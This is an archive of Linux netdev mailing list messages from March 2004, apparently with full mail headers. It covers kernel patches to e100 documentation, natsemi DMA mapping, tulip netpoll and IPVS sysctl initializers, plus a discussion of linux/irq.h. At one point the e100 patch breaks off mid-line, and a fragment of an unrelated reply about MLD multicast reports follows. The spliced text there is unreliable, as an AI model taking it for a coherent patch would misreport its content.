(petasus-pilot.fm.intel.com [10.1.192.44]) by hermes.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.15 2004/01/30 18:16:28 root Exp $) with ESMTP id i2FKFBb4029522; Mon, 15 Mar 2004 20:15:11 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus-pilot.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.10 2004/03/01 19:21:36 root Exp $) with SMTP id i2FKE0kM023335; Mon, 15 Mar 2004 20:14:03 GMT Received: from [134.134.3.164] ([134.134.3.164]) by fmsmsxvs042.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004031512165902723 ; Mon, 15 Mar 2004 12:16:59 -0800 Date: Mon, 15 Mar 2004 12:52:08 -0800 (PST) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com, "Feldman, Scott" , Subject: [e100 2.6] update e100.txt Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 4010 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 8884 Lines: 238 * e100.txt needs to refer to the v3 driver and its settings. Spotted by Calum Mackay [calum.mackay@cdmnet.org] ----------- --- linux-2.5/Documentation/networking/e100.txt.orig 2004-03-15 11:11:30.000000000 -0800 +++ linux-2.5/Documentation/networking/e100.txt 2004-03-15 11:19:29.000000000 -0800 @@ -1,7 +1,7 @@ Linux* Base Driver for the Intel(R) PRO/100 Family of Adapters ============================================================== -November 19, 2002 +March 15, 2004 Contents @@ -9,9 +9,6 @@ - In This Release - Supported Adapters -- Command Line Parameters -- CPU Cycle Saver -- Additional Configurations - Support @@ -19,64 +16,13 @@ =============== This file describes the Linux* Base Driver for the Intel(R) PRO/100 Family of -Adapters, version 2.2.x. This driver includes support for Itanium(TM)-based +Adapters, version 3.x.x. This driver includes support for Itanium(TM)-based systems. Supported Adapters ================== -The following Intel network adapters are compatible with the drivers -in this release: - -Controller Adapter Name Board IDs ----------- ------------ --------- - -82558 PRO/100+ PCI Adapter 668081-xxx, 689661-xxx - -82558 PRO/100+ Management Adapter 691334-xxx, 701738-xxx, - 721383-xxx - -82558 PRO/100+ Dual Port Server Adapter 714303-xxx, 711269-xxx, - A28276-xxx - -82558 PRO/100+ PCI Server Adapter 710550-xxx - -82550 PRO/100 S Server Adapter 752438-xxx (82550) -82559 A56831-xxx, A10563-xxx, - A12171-xxx, A12321-xxx, - A12320-xxx, A12170-xxx - 748568-xxx (82559) - 748565-xxx (82559) - - -82550 PRO/100 S Desktop Adapter 751767-xxx (82550) -82559 748592-xxx, A12167-xxx, - A12318-xxx, A12317-xxx, - A12165-xxx - 748569-xxx (82559) - - - -82559 PRO/100+ Server Adapter 729757-xxx - -82559 PRO/100 S Management Adapter 748566-xxx, 748564-xxx - -82550 PRO/100 S Dual Port Server Adapter A56831-xxx - -82551 PRO/100 M Desktop Adapter A80897-xxx - - PRO/100 S Advanced Management Adapter 747842-xxx, 745171-xxx - -CNR PRO/100 VE Desktop Adapter A10386-xxx, A10725-xxx, - A23801-xxx, A19716-xxx - - - PRO/100 VM Desktop Adapter A14323-xxx, A19725-xxx, - A23801-xxx, A22220-xxx, - A23796-xxx - - To verify that your adapter is supported, find the board ID number on the adapter. Look for a label that has a barcode and a number in the format A12345-001. Match this to the list of numbers above. @@ -91,143 +37,6 @@ http://downloadfinder.intel.com/scripts-df/support_intel.asp -Command Line Parameters -======================= - -If the driver is built as a module, the following optional parameters are -used by entering them on the command line with the modprobe or insmod command -using this syntax: - - modprobe e100 [

> Is there any other way to get the MLDv1 reports to my daemon. Any solution
> to this problem would be very helpful to me.


To receive all MLDv1 reports, you need the interface to be in
multicast promiscuous mode. You can do this by setting the
interface flag "IFF_ALLMULTI".

For MLDv2, reports are sent to the all-multicast-routers group
address, so you only need to join that group in MLDv2.

+-DLS --0__=07BBE4CADFFB9DC08f9e8a93df938690918c07BBE4CADFFB9DC0-- From james.hill@timesys.com Tue Mar 16 11:15:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Mar 2004 11:15:51 -0800 (PST) Received: from exchange.timesys.com (mail.timesys.com [65.117.135.102]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2GJFlKO019679 for ; Tue, 16 Mar 2004 11:15:48 -0800 Received: from timesys.com ([192.168.2.230]) by exchange.timesys.com with Microsoft SMTPSVC(5.0.2195.6713); Tue, 16 Mar 2004 14:07:27 -0500 Message-ID: <4057525E.6020205@timesys.com> Date: Tue, 16 Mar 2004 14:15:42 -0500 From: "Steven J. Hill" User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040122 Debian/1.6-1 X-Accept-Language: en MIME-Version: 1.0 To: Jeff Garzik CC: Netdev , Tim Hockin , Linux Kernel , ralf@linux-mips.org Subject: Re: [PATCH] fix natsemi PCI mapping References: <40574227.8020302@pobox.com> In-Reply-To: <40574227.8020302@pobox.com> Content-Type: multipart/mixed; boundary="------------060301070001030109080002" X-OriginalArrivalTime: 16 Mar 2004 19:07:27.0890 (UTC) FILETIME=[EC778F20:01C40B89] X-archive-position: 4046 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Steve.Hill@timesys.com Precedence: bulk X-list: netdev Content-Length: 4361 Lines: 128 This is a multi-part message in MIME format. --------------060301070001030109080002 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Jeff Garzik wrote: > > Somebody wanna review and/or test? > Hey Jeff. I have tested this on 2.4 and it works great on MIPS with one minor change below. Remove the 16 byte alignment of the IP header. I discovered this when trying to do a BOOTP and mount my NFS root filesystem. The BOOTP never succeeds. Patch against latest 2.4.25 attached. -Steve @@ -1467,13 +1469,16 @@ struct sk_buff *skb; int entry = np->dirty_rx % RX_RING_SIZE; if (np->rx_skbuff[entry] == NULL) { - skb = dev_alloc_skb(np->rx_buf_sz); + unsigned int buflen = np->rx_buf_sz + RX_OFFSET; + skb = dev_alloc_skb(buflen); np->rx_skbuff[entry] = skb; if (skb == NULL) break; /* Better luck next round. */ skb->dev = dev; /* Mark as being used by this device. */ + /* 16 byte align the IP header */ + skb_reserve(skb, RX_OFFSET); np->rx_dma[entry] = pci_map_single(np->pci_dev, - skb->data, skb->len, PCI_DMA_FROMDEVICE); + skb->tail, buflen, PCI_DMA_FROMDEVICE); np->rx_ring[entry].addr = cpu_to_le32(np->rx_dma[entry]); } --------------060301070001030109080002 Content-Type: text/x-patch; name="natsemi-pci-mapping.patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="natsemi-pci-mapping.patch" diff -urN -X /home/sjhill/diff-exc linux-2.4.25/drivers/net/natsemi.c linux-2.4.25-patched/drivers/net/natsemi.c --- linux-2.4.25/drivers/net/natsemi.c Tue Mar 16 14:05:21 2004 +++ linux-2.4.25-patched/drivers/net/natsemi.c Tue Mar 16 13:58:15 2004 @@ -175,6 +175,8 @@ #define DRV_VERSION "1.07+LK1.0.17" #define DRV_RELDATE "Sep 27, 2002" +#define RX_OFFSET 2 + /* Updated to recommendations in pci-skeleton v2.03. */ /* The user-configurable values. @@ -1466,13 +1467,14 @@ struct sk_buff *skb; int entry = np->dirty_rx % RX_RING_SIZE; if (np->rx_skbuff[entry] == NULL) { - skb = dev_alloc_skb(np->rx_buf_sz); + unsigned int buflen = np->rx_buf_sz + RX_OFFSET; + skb = dev_alloc_skb(buflen); np->rx_skbuff[entry] = skb; if (skb == NULL) break; /* Better luck next round. */ skb->dev = dev; /* Mark as being used by this device. */ np->rx_dma[entry] = pci_map_single(np->pci_dev, - skb->data, skb->len, PCI_DMA_FROMDEVICE); + skb->tail, buflen, PCI_DMA_FROMDEVICE); np->rx_ring[entry].addr = cpu_to_le32(np->rx_dma[entry]); } np->rx_ring[entry].cmd_status = cpu_to_le32(np->rx_buf_sz); @@ -1542,6 +1544,7 @@ static void drain_ring(struct net_device *dev) { struct netdev_private *np = dev->priv; + unsigned int buflen = np->rx_buf_sz + RX_OFFSET; int i; /* Free all the skbuffs in the Rx queue. */ @@ -1550,7 +1553,7 @@ np->rx_ring[i].addr = 0xBADF00D0; /* An invalid address. */ if (np->rx_skbuff[i]) { pci_unmap_single(np->pci_dev, - np->rx_dma[i], np->rx_skbuff[i]->len, + np->rx_dma[i], buflen, PCI_DMA_FROMDEVICE); dev_kfree_skb(np->rx_skbuff[i]); } @@ -1746,6 +1745,7 @@ int entry = np->cur_rx % RX_RING_SIZE; int boguscnt = np->dirty_rx + RX_RING_SIZE - np->cur_rx; s32 desc_status = le32_to_cpu(np->rx_head_desc->cmd_status); + unsigned int buflen = np->rx_buf_sz + RX_OFFSET; /* If the driver owns the next entry it's a new packet. Send it up. */ while (desc_status < 0) { /* e.g. & DescOwn */ @@ -1784,13 +1784,13 @@ /* Check if the packet is long enough to accept * without copying to a minimally-sized skbuff. */ if (pkt_len < rx_copybreak - && (skb = dev_alloc_skb(pkt_len + 2)) != NULL) { + && (skb = dev_alloc_skb(pkt_len + RX_OFFSET)) != NULL) { skb->dev = dev; /* 16 byte align the IP header */ - skb_reserve(skb, 2); + skb_reserve(skb, RX_OFFSET); pci_dma_sync_single(np->pci_dev, np->rx_dma[entry], - np->rx_skbuff[entry]->len, + buflen, PCI_DMA_FROMDEVICE); #if HAS_IP_COPYSUM eth_copy_and_sum(skb, @@ -1802,8 +1802,7 @@ #endif } else { pci_unmap_single(np->pci_dev, np->rx_dma[entry], - np->rx_skbuff[entry]->len, - PCI_DMA_FROMDEVICE); + buflen, PCI_DMA_FROMDEVICE); skb_put(skb = np->rx_skbuff[entry], pkt_len); np->rx_skbuff[entry] = NULL; } --------------060301070001030109080002-- From rmk+netdev=oss.sgi.com@arm.linux.org.uk Tue Mar 16 11:23:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Mar 2004 11:23:03 -0800 (PST) Received: from caramon.arm.linux.org.uk (caramon.arm.linux.org.uk [212.18.232.186]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2GJMwKO020493 for ; Tue, 16 Mar 2004 11:22:59 -0800 Received: from flint.arm.linux.org.uk ([2002:d412:e8ba:1:201:2ff:fe14:8fad]) by caramon.arm.linux.org.uk with asmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.30) id 1B3K9I-0000ZT-Do; Tue, 16 Mar 2004 19:22:48 +0000 Received: from rmk by flint.arm.linux.org.uk with local (Exim 4.30) id 1B3K9H-00029F-C5; Tue, 16 Mar 2004 19:22:47 +0000 Date: Tue, 16 Mar 2004 19:22:47 +0000 From: Russell King To: Linus Torvalds , Ian Campbell , netdev@oss.sgi.com, Linux Kernel Mailing List Subject: Re: [PATCH] Do not include linux/irq.h from linux/netpoll.h Message-ID: <20040316192247.A7886@flint.arm.linux.org.uk> Mail-Followup-To: Linus Torvalds , Ian Campbell , netdev@oss.sgi.com, Linux Kernel Mailing List References: <1079369568.19012.100.camel@icampbell-debian> <20040316001141.C29594@flint.arm.linux.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040316001141.C29594@flint.arm.linux.org.uk>; from rmk+lkml@arm.linux.org.uk on Tue, Mar 16, 2004 at 12:11:41AM +0000 X-archive-position: 4047 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rmk+lkml@arm.linux.org.uk Precedence: bulk X-list: netdev Content-Length: 2283 Lines: 57 On Tue, Mar 16, 2004 at 12:11:41AM +0000, Russell King wrote: > On Mon, Mar 15, 2004 at 04:52:50PM +0000, Ian Campbell wrote: > > The culprit would appear to be the addition of a > > #include > > to net/core/dev.c which in turn pulls in which (as Russell > > King notes in a comment therein) should not be included from generic > > code. > > Linus - I haven't tested this patch myself yet, but I do think something > needs to happen with linux/irq.h. It seems a comment in the file isn't > sufficient. > > The file itself is misplaced and misleading sitting in the include/linux > subdirectory, which causes problems when people decide to include it into > architecture independent files, in the belief that it's a generic include > file. > > I believe that linux/irq.h should at least become asm-generic/irq.h to > stop this happening. > > What are your thoughts on this? So how do we solve this problem. Should I just merge this change and ask you to pull it? I think that's rather impolite though. Or should I send a BK cset which removes include/linux/irq.h entirely, thereby fixing _my_ problem (though it'll break everyone elses build.) 8) > Index: linux-2.6-bkpxa/include/linux/netpoll.h > =================================================================== > --- linux-2.6-bkpxa.orig/include/linux/netpoll.h 2004-03-15 15:03:30.000000000 +0000 > +++ linux-2.6-bkpxa/include/linux/netpoll.h 2004-03-15 16:24:25.000000000 +0000 > @@ -9,7 +9,6 @@ > > #include > #include > -#include > #include > > struct netpoll; > > -- > Russell King > Linux kernel 2.6 ARM Linux - http://www.arm.linux.org.uk/ > maintainer of: 2.6 PCMCIA - http://pcmcia.arm.linux.org.uk/ > 2.6 Serial core > - > To unsubscribe from this list: send the line "unsubscribe linux-kernel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html > Please read the FAQ at http://www.tux.org/lkml/ -- Russell King Linux kernel 2.6 ARM Linux - http://www.arm.linux.org.uk/ maintainer of: 2.6 PCMCIA - http://pcmcia.arm.linux.org.uk/ 2.6 Serial core From oxymoron@waste.org Tue Mar 16 11:24:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Mar 2004 11:24:09 -0800 (PST) Received: from waste.org (waste.org [209.173.204.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2GJO5KO020804 for ; Tue, 16 Mar 2004 11:24:06 -0800 Received: from waste.org (localhost [127.0.0.1]) by waste.org (8.12.3/8.12.3/Debian-6.6) with ESMTP id i2GJNmvO001726; Tue, 16 Mar 2004 13:23:48 -0600 Received: (from oxymoron@localhost) by waste.org (8.12.3/8.12.3/Debian-6.6) id i2GJNmS2001724; Tue, 16 Mar 2004 13:23:48 -0600 Date: Tue, 16 Mar 2004 13:23:48 -0600 From: Matt Mackall To: Meelis Roos Cc: netdev@oss.sgi.com, Jeff Garzik Subject: Re: netpoll warning in tulip Message-ID: <20040316192347.GC11010@waste.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i X-Virus-Scanned: by amavisd-new X-archive-position: 4048 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mpm@selenic.com Precedence: bulk X-list: netdev Content-Length: 1147 Lines: 29 On Tue, Mar 16, 2004 at 12:36:02PM +0200, Meelis Roos wrote: > FYI: with netpoll configured out, I get > > CC [M] drivers/net/tulip/tulip_core.o > drivers/net/tulip/tulip_core.c:256: warning: `poll_tulip' declared `static' but never defined 2.6.5-rc1-mpm/drivers/net/tulip/tulip_core.c | 3 ++- 1 files changed, 2 insertions(+), 1 deletion(-) diff -puN drivers/net/tulip/tulip_core.c~tulip-poll drivers/net/tulip/tulip_core.c --- 2.6.5-rc1/drivers/net/tulip/tulip_core.c~tulip-poll 2004-03-16 13:21:38.000000000 -0600 +++ 2.6.5-rc1-mpm/drivers/net/tulip/tulip_core.c 2004-03-16 13:22:30.000000000 -0600 @@ -253,8 +253,9 @@ static void tulip_down(struct net_device static struct net_device_stats *tulip_get_stats(struct net_device *dev); static int private_ioctl(struct net_device *dev, struct ifreq *rq, int cmd); static void set_rx_mode(struct net_device *dev); +#ifdef CONFIG_NET_POLL_CONTROLLER static void poll_tulip(struct net_device *dev); - +#endif static void tulip_set_power_state (struct tulip_private *tp, int sleep, int snooze) _ -- Matt Mackall : http://www.selenic.com : Linux development and consulting From torvalds@osdl.org Tue Mar 16 11:27:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Mar 2004 11:28:01 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2GJRxKO021236 for ; Tue, 16 Mar 2004 11:27:59 -0800 Received: from localhost (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i2GJRlE22723; Tue, 16 Mar 2004 11:27:47 -0800 Date: Tue, 16 Mar 2004 11:34:56 -0800 (PST) From: Linus Torvalds To: Russell King cc: Ian Campbell , netdev@oss.sgi.com, Linux Kernel Mailing List Subject: Re: [PATCH] Do not include linux/irq.h from linux/netpoll.h In-Reply-To: <20040316192247.A7886@flint.arm.linux.org.uk> Message-ID: References: <1079369568.19012.100.camel@icampbell-debian> <20040316001141.C29594@flint.arm.linux.org.uk> <20040316192247.A7886@flint.arm.linux.org.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 4049 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: torvalds@osdl.org Precedence: bulk X-list: netdev Content-Length: 458 Lines: 16 On Tue, 16 Mar 2004, Russell King wrote: > > > > What are your thoughts on this? > > So how do we solve this problem. Should I just merge this change and > ask you to pull it? I think that's rather impolite though. I didn't apply the patch because you said it was untested ;) I'll happily remove that irq.h include if it really doesn't do anything but break things. I'd feel happier about it if somebody said it has been tested, though ;) Linus From hch@infradead.org Tue Mar 16 11:31:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Mar 2004 11:31:19 -0800 (PST) Received: from phoenix.infradead.org (phoenix.infradead.org [213.86.99.234]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2GJVGKO021616 for ; Tue, 16 Mar 2004 11:31:17 -0800 Received: from hch by phoenix.infradead.org with local (Exim 4.30 #5 (Red Hat Linux)) id 1B3KHQ-0001Fh-K3; Tue, 16 Mar 2004 19:31:12 +0000 Date: Tue, 16 Mar 2004 19:31:12 +0000 From: Christoph Hellwig To: Linus Torvalds , Ian Campbell , netdev@oss.sgi.com, Linux Kernel Mailing List Subject: Re: [PATCH] Do not include linux/irq.h from linux/netpoll.h Message-ID: <20040316193112.A4796@infradead.org> Mail-Followup-To: Christoph Hellwig , Linus Torvalds , Ian Campbell , netdev@oss.sgi.com, Linux Kernel Mailing List References: <1079369568.19012.100.camel@icampbell-debian> <20040316001141.C29594@flint.arm.linux.org.uk> <20040316192247.A7886@flint.arm.linux.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040316192247.A7886@flint.arm.linux.org.uk>; from rmk+lkml@arm.linux.org.uk on Tue, Mar 16, 2004 at 07:22:47PM +0000 X-archive-position: 4050 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@infradead.org Precedence: bulk X-list: netdev Content-Length: 511 Lines: 11 On Tue, Mar 16, 2004 at 07:22:47PM +0000, Russell King wrote: > So how do we solve this problem. Should I just merge this change and > ask you to pull it? I think that's rather impolite though. > > Or should I send a BK cset which removes include/linux/irq.h entirely, > thereby fixing _my_ problem (though it'll break everyone elses build.) 8) What about moving it to asm-generic now? linux/irq.h never was a public API so the stable API in 2.6 thing doesn't count. And it's fix the confusing for real. From davem@redhat.com Tue Mar 16 11:33:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Mar 2004 11:33:42 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2GJXQKO021959 for ; Tue, 16 Mar 2004 11:33:26 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2GJXP4b000464; Tue, 16 Mar 2004 14:33:25 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2GJXPj00572; Tue, 16 Mar 2004 14:33:25 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2GJXC2x011927; Tue, 16 Mar 2004 14:33:12 -0500 Date: Tue, 16 Mar 2004 11:33:24 -0800 From: "David S. Miller" To: netdev@oss.sgi.com Cc: linux-net@vger.kernel.org Subject: whoops... Message-Id: <20040316113324.2be1faf2.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4051 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 156 Lines: 4 I just deleted by accident the majority of my email backlog. So if folks have patches et al. for me to look at, please resend it to this reckless fool :-) From ahaas@airmail.net Tue Mar 16 11:39:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Mar 2004 11:39:49 -0800 (PST) Received: from covert.brown-ring.iadfw.net (covert.brown-ring.iadfw.net [209.196.123.142]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2GJdjKO022464 for ; Tue, 16 Mar 2004 11:39:45 -0800 Received: from pppte04-034.ght.iadfw.net ([66.94.134.34] helo=pcdebian) by covert.iadfw.net with esmtp (Exim 4.10) id 1B3JlD-0001h3-00 for netdev@oss.sgi.com; Tue, 16 Mar 2004 12:57:56 -0600 Received: (qmail 19128 invoked by uid 1000); 16 Mar 2004 18:52:29 -0000 From: "Art Haas" Date: Tue, 16 Mar 2004 12:52:29 -0600 To: Wensong Zhang , "David S. Miller" Cc: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: [PATCH] Add C99 initializers to net/ipv4/ipvs/ip_vs_ctl.c Message-ID: <20040316185229.GA12996@artsapartment.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.5.1+cvs20040105i X-archive-position: 4052 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ahaas@airmail.net Precedence: bulk X-list: netdev Content-Length: 10952 Lines: 361 Hi. Here is the first of three patches adding C99 initializers to files in net/ipv4/ipvs. This patch is for ip_vs_ctl.c, and is against the current BK. This patch splits a structure up into several variables, making the code look more like other files found in net/, and explicitly adds initializers to an existing structure. Art Haas ===== net/ipv4/ipvs/ip_vs_ctl.c 1.13 vs edited ===== --- 1.13/net/ipv4/ipvs/ip_vs_ctl.c Mon Mar 8 14:01:22 2004 +++ edited/net/ipv4/ipvs/ip_vs_ctl.c Tue Mar 16 11:49:00 2004 @@ -1384,95 +1384,223 @@ /* * IPVS sysctl table (under the /proc/sys/net/ipv4/vs/) */ -struct ip_vs_sysctl_table { - struct ctl_table_header *sysctl_header; - ctl_table vs_vars[NET_IPV4_VS_LAST]; - ctl_table vs_dir[2]; - ctl_table ipv4_dir[2]; - ctl_table root_dir[2]; -}; -static struct ip_vs_sysctl_table ipv4_vs_table = { - NULL, - {{NET_IPV4_VS_AMEMTHRESH, "amemthresh", - &sysctl_ip_vs_amemthresh, sizeof(int), 0644, NULL, - &proc_dointvec}, +static struct ctl_table vs_vars[] = { + { + .ctl_name = NET_IPV4_VS_AMEMTHRESH, + .procname = "amemthresh", + .data = &sysctl_ip_vs_amemthresh, + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec, + }, #ifdef CONFIG_IP_VS_DEBUG - {NET_IPV4_VS_DEBUG_LEVEL, "debug_level", - &sysctl_ip_vs_debug_level, sizeof(int), 0644, NULL, - &proc_dointvec}, + { + .ctl_name = NET_IPV4_VS_DEBUG_LEVEL, + .procname = "debug_level", + .data = &sysctl_ip_vs_debug_level, + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec, + }, #endif - {NET_IPV4_VS_AMDROPRATE, "am_droprate", - &sysctl_ip_vs_am_droprate, sizeof(int), 0644, NULL, - &proc_dointvec}, - {NET_IPV4_VS_DROP_ENTRY, "drop_entry", - &sysctl_ip_vs_drop_entry, sizeof(int), 0644, NULL, - &proc_do_defense_mode}, - {NET_IPV4_VS_DROP_PACKET, "drop_packet", - &sysctl_ip_vs_drop_packet, sizeof(int), 0644, NULL, - &proc_do_defense_mode}, - {NET_IPV4_VS_SECURE_TCP, "secure_tcp", - &sysctl_ip_vs_secure_tcp, sizeof(int), 0644, NULL, - &proc_do_defense_mode}, + { + .ctl_name = NET_IPV4_VS_AMDROPRATE, + .procname = "am_droprate", + .data = &sysctl_ip_vs_am_droprate, + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec, + }, + { + .ctl_name = NET_IPV4_VS_DROP_ENTRY, + .procname = "drop_entry", + .data = &sysctl_ip_vs_drop_entry, + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_do_defense_mode, + }, + { + .ctl_name = NET_IPV4_VS_DROP_PACKET, + .procname = "drop_packet", + .data = &sysctl_ip_vs_drop_packet, + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_do_defense_mode, + }, + { + .ctl_name = NET_IPV4_VS_SECURE_TCP, + .procname = "secure_tcp", + .data = &sysctl_ip_vs_secure_tcp, + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_do_defense_mode, + }, #if 0 - {NET_IPV4_VS_TO_ES, "timeout_established", - &vs_timeout_table_dos.timeout[IP_VS_S_ESTABLISHED], - sizeof(int), 0644, NULL, &proc_dointvec_jiffies}, - {NET_IPV4_VS_TO_SS, "timeout_synsent", - &vs_timeout_table_dos.timeout[IP_VS_S_SYN_SENT], - sizeof(int), 0644, NULL, &proc_dointvec_jiffies}, - {NET_IPV4_VS_TO_SR, "timeout_synrecv", - &vs_timeout_table_dos.timeout[IP_VS_S_SYN_RECV], - sizeof(int), 0644, NULL, &proc_dointvec_jiffies}, - {NET_IPV4_VS_TO_FW, "timeout_finwait", - &vs_timeout_table_dos.timeout[IP_VS_S_FIN_WAIT], - sizeof(int), 0644, NULL, &proc_dointvec_jiffies}, - {NET_IPV4_VS_TO_TW, "timeout_timewait", - &vs_timeout_table_dos.timeout[IP_VS_S_TIME_WAIT], - sizeof(int), 0644, NULL, &proc_dointvec_jiffies}, - {NET_IPV4_VS_TO_CL, "timeout_close", - &vs_timeout_table_dos.timeout[IP_VS_S_CLOSE], - sizeof(int), 0644, NULL, &proc_dointvec_jiffies}, - {NET_IPV4_VS_TO_CW, "timeout_closewait", - &vs_timeout_table_dos.timeout[IP_VS_S_CLOSE_WAIT], - sizeof(int), 0644, NULL, &proc_dointvec_jiffies}, - {NET_IPV4_VS_TO_LA, "timeout_lastack", - &vs_timeout_table_dos.timeout[IP_VS_S_LAST_ACK], - sizeof(int), 0644, NULL, &proc_dointvec_jiffies}, - {NET_IPV4_VS_TO_LI, "timeout_listen", - &vs_timeout_table_dos.timeout[IP_VS_S_LISTEN], - sizeof(int), 0644, NULL, &proc_dointvec_jiffies}, - {NET_IPV4_VS_TO_SA, "timeout_synack", - &vs_timeout_table_dos.timeout[IP_VS_S_SYNACK], - sizeof(int), 0644, NULL, &proc_dointvec_jiffies}, - {NET_IPV4_VS_TO_UDP, "timeout_udp", - &vs_timeout_table_dos.timeout[IP_VS_S_UDP], - sizeof(int), 0644, NULL, &proc_dointvec_jiffies}, - {NET_IPV4_VS_TO_ICMP, "timeout_icmp", - &vs_timeout_table_dos.timeout[IP_VS_S_ICMP], - sizeof(int), 0644, NULL, &proc_dointvec_jiffies}, + { + .ctl_name = NET_IPV4_VS_TO_ES, + .procname = "timeout_established", + .data = &vs_timeout_table_dos.timeout[IP_VS_S_ESTABLISHED], + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec_jiffies, + }, + { + .ctl_name = NET_IPV4_VS_TO_SS, + .procname = "timeout_synsent", + .data = &vs_timeout_table_dos.timeout[IP_VS_S_SYN_SENT], + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec_jiffies, + }, + { + .ctl_name = NET_IPV4_VS_TO_SR, + .procname = "timeout_synrecv", + .data = &vs_timeout_table_dos.timeout[IP_VS_S_SYN_RECV], + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec_jiffies, + }, + { + .ctl_name = NET_IPV4_VS_TO_FW, + .procname = "timeout_finwait", + .data = &vs_timeout_table_dos.timeout[IP_VS_S_FIN_WAIT], + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec_jiffies, + }, + { + .ctl_name = NET_IPV4_VS_TO_TW, + .procname = "timeout_timewait", + .data = &vs_timeout_table_dos.timeout[IP_VS_S_TIME_WAIT], + .maxlen = sizeof(int), + .mode = 0644, + .proc_handler = &proc_dointvec_jiffies, + }, + { + .ctl_name = NET_IPV4_VS_TO_CL, + .procname = "timeout_close", + .data = 